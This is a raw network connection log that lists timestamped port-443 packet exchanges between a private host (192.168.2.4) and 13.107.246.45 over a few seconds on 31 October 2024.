Oct 31, 2024 17:27:14.589379072 CET	62924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.589382887 CET	443	62924	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.661741972 CET	443	62923	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.661933899 CET	443	62923	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.662086964 CET	62923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.662110090 CET	62923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.662111044 CET	62923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.662132025 CET	443	62923	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.662139893 CET	443	62923	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.667834044 CET	62927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.667866945 CET	443	62927	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.667962074 CET	62927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.668138981 CET	62927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.668153048 CET	443	62927	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.695996046 CET	443	62922	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.696067095 CET	443	62922	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.696134090 CET	62922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.706815004 CET	62922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.706851006 CET	443	62922	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.706871986 CET	62922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.706881046 CET	443	62922	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.709836006 CET	62928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.709856033 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.709955931 CET	62928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.710087061 CET	62928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.710099936 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.722146988 CET	443	62924	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.722404003 CET	443	62924	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.722467899 CET	62924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.722498894 CET	62924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.722513914 CET	443	62924	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.722539902 CET	62924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.722544909 CET	443	62924	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.725198984 CET	62929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.725231886 CET	443	62929	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.725389004 CET	62929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.725433111 CET	62929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.725441933 CET	443	62929	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.838020086 CET	443	62925	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.838677883 CET	62925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.838701010 CET	443	62925	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.839193106 CET	62925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.839199066 CET	443	62925	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.970261097 CET	443	62925	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.970700026 CET	443	62925	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.970766068 CET	62925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.970905066 CET	62925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.970927954 CET	443	62925	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.970940113 CET	62925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.970946074 CET	443	62925	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.973743916 CET	62930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.973779917 CET	443	62930	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.973867893 CET	62930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.974026918 CET	62930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.974041939 CET	443	62930	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.162066936 CET	443	62926	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.162585020 CET	62926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.162611008 CET	443	62926	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.163172960 CET	62926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.163178921 CET	443	62926	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.300331116 CET	443	62926	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.300359011 CET	443	62926	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.300404072 CET	443	62926	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.300432920 CET	62926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.300467014 CET	62926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.300764084 CET	62926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.300780058 CET	443	62926	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.300789118 CET	62926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.300793886 CET	443	62926	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.304115057 CET	62931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.304167986 CET	443	62931	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.304274082 CET	62931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.304533005 CET	62931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.304553032 CET	443	62931	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.436115026 CET	443	62927	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.436707020 CET	62927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.436739922 CET	443	62927	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.437226057 CET	62927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.437231064 CET	443	62927	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.444173098 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.444447041 CET	62928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.444466114 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.444792032 CET	62928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.444799900 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.487056017 CET	443	62929	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.487502098 CET	62929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.487519979 CET	443	62929	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.487911940 CET	62929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.487919092 CET	443	62929	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.569314957 CET	443	62927	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.569458008 CET	443	62927	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.569555998 CET	62927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.569782972 CET	62927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.569799900 CET	443	62927	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.569809914 CET	62927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.569813967 CET	443	62927	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.573183060 CET	62932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.573203087 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.573290110 CET	62932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.573474884 CET	62932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.573482037 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.589242935 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.589624882 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.589704037 CET	62928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.589724064 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.589739084 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.589782953 CET	62928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.589840889 CET	62928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.589854002 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.589893103 CET	62928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.589898109 CET	443	62928	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.591967106 CET	62933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.592003107 CET	443	62933	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.592067957 CET	62933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.592185020 CET	62933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.592195034 CET	443	62933	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.621598005 CET	443	62929	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.621803045 CET	443	62929	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.621876955 CET	62929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.621910095 CET	62929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.621927023 CET	443	62929	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.621939898 CET	62929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.621946096 CET	443	62929	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.623895884 CET	62934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.623909950 CET	443	62934	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.623972893 CET	62934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.624094963 CET	62934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.624106884 CET	443	62934	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.704016924 CET	443	62930	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.704535007 CET	62930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.704556942 CET	443	62930	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.705018997 CET	62930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.705027103 CET	443	62930	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.834348917 CET	443	62930	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.834419966 CET	443	62930	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.834551096 CET	62930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.834861040 CET	62930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.834883928 CET	443	62930	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.834897041 CET	62930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.834903002 CET	443	62930	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.838207960 CET	62935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.838254929 CET	443	62935	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:15.838340998 CET	62935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.838531017 CET	62935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:15.838543892 CET	443	62935	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.062978983 CET	443	62931	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.063637018 CET	62931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.063682079 CET	443	62931	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.064138889 CET	62931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.064146996 CET	443	62931	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.196727991 CET	443	62931	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.196885109 CET	443	62931	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.196980000 CET	62931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.197189093 CET	62931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.197189093 CET	62931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.197212934 CET	443	62931	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.197226048 CET	443	62931	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.200573921 CET	62936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.200622082 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.200723886 CET	62936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.200889111 CET	62936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.200907946 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.316653967 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.317204952 CET	62932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.317231894 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.317806005 CET	62932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.317811012 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.412110090 CET	443	62934	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.412883997 CET	62934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.412909985 CET	443	62934	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.413366079 CET	62934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.413371086 CET	443	62934	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.536207914 CET	443	62933	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.536921978 CET	62933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.536945105 CET	443	62933	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.537319899 CET	62933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.537324905 CET	443	62933	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.550107956 CET	443	62934	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.550323963 CET	443	62934	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.550529957 CET	62934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.550529957 CET	62934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.550529957 CET	62934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.553416967 CET	62937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.553450108 CET	443	62937	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.553560019 CET	62937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.553663015 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.553714037 CET	62937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.553716898 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.553725958 CET	443	62937	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.553765059 CET	62932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.553775072 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.553791046 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.553850889 CET	62932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.553865910 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.553894997 CET	62932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.553900957 CET	443	62932	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.555951118 CET	62938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.556046009 CET	443	62938	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.556134939 CET	62938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.556273937 CET	62938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.556309938 CET	443	62938	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.626172066 CET	443	62935	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.626835108 CET	62935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.626857996 CET	443	62935	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.627428055 CET	62935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.627434015 CET	443	62935	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.732980013 CET	443	62933	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.733036041 CET	443	62933	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.733114958 CET	62933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.733362913 CET	62933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.733382940 CET	443	62933	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.733396053 CET	62933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.733402014 CET	443	62933	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.736665010 CET	62939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.736705065 CET	443	62939	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.736819983 CET	62939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.736974001 CET	62939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.736988068 CET	443	62939	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.764324903 CET	443	62935	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.764398098 CET	443	62935	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.764446974 CET	62935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.784667015 CET	62935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.784683943 CET	443	62935	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.784693956 CET	62935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.784698009 CET	443	62935	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.787703037 CET	62940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.787744999 CET	443	62940	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.787812948 CET	62940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.787956953 CET	62940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.787976027 CET	443	62940	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.851190090 CET	62934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.851222038 CET	443	62934	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.989939928 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.990494967 CET	62936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.990540981 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:16.990977049 CET	62936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:16.990986109 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.120778084 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.120887041 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.120961905 CET	62936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.120992899 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.121017933 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.121072054 CET	62936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.121243954 CET	62936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.121283054 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.121308088 CET	62936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.121323109 CET	443	62936	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.135159969 CET	62941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.135198116 CET	443	62941	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.135277033 CET	62941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.135507107 CET	62941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.135519028 CET	443	62941	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.336266994 CET	443	62938	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.336911917 CET	62938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.336977959 CET	443	62938	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.337476015 CET	62938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.337497950 CET	443	62938	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.343485117 CET	443	62937	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.343952894 CET	62937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.343972921 CET	443	62937	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.344403982 CET	62937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.344408989 CET	443	62937	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.466255903 CET	443	62938	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.466545105 CET	443	62938	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.466598034 CET	443	62938	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.466605902 CET	62938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.466679096 CET	62938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.466742992 CET	62938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.466785908 CET	443	62938	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.469994068 CET	62942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.470051050 CET	443	62942	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.470117092 CET	62942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.470295906 CET	62942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.470314980 CET	443	62942	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.476058960 CET	443	62937	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.477372885 CET	443	62937	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.477440119 CET	62937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.477474928 CET	62937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.477474928 CET	62937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.477494955 CET	443	62937	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.477504015 CET	443	62937	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.479060888 CET	443	62939	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.479527950 CET	62939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.479545116 CET	443	62939	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.479645014 CET	62943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.479677916 CET	443	62943	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.479721069 CET	62943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.479959965 CET	62939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.479964972 CET	443	62939	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.480005980 CET	62943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.480020046 CET	443	62943	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.526338100 CET	443	62940	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.526942015 CET	62940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.526978970 CET	443	62940	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.527388096 CET	62940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.527395010 CET	443	62940	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.612344027 CET	443	62939	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.612479925 CET	443	62939	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.612590075 CET	62939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.612934113 CET	62939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.612934113 CET	62939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.612960100 CET	443	62939	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.612970114 CET	443	62939	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.616297960 CET	62944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.616339922 CET	443	62944	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.616425991 CET	62944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.616641045 CET	62944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.616653919 CET	443	62944	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.656316042 CET	443	62940	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.656413078 CET	443	62940	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.656487942 CET	62940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.656677008 CET	62940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.656699896 CET	443	62940	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.656712055 CET	62940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.656718969 CET	443	62940	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.659475088 CET	62945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.659523964 CET	443	62945	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.659610033 CET	62945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.659763098 CET	62945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.659781933 CET	443	62945	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.869653940 CET	443	62941	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.870248079 CET	62941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.870266914 CET	443	62941	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:17.870767117 CET	62941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:17.870771885 CET	443	62941	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.000405073 CET	443	62941	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.000641108 CET	443	62941	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.000696898 CET	62941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.000824928 CET	62941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.000840902 CET	443	62941	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.000852108 CET	62941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.000855923 CET	443	62941	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.003993988 CET	62946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.004034996 CET	443	62946	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.004111052 CET	62946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.004250050 CET	62946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.004261017 CET	443	62946	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.222328901 CET	443	62943	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.223048925 CET	62943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.223071098 CET	443	62943	13.107.246.45	192.168.2.4
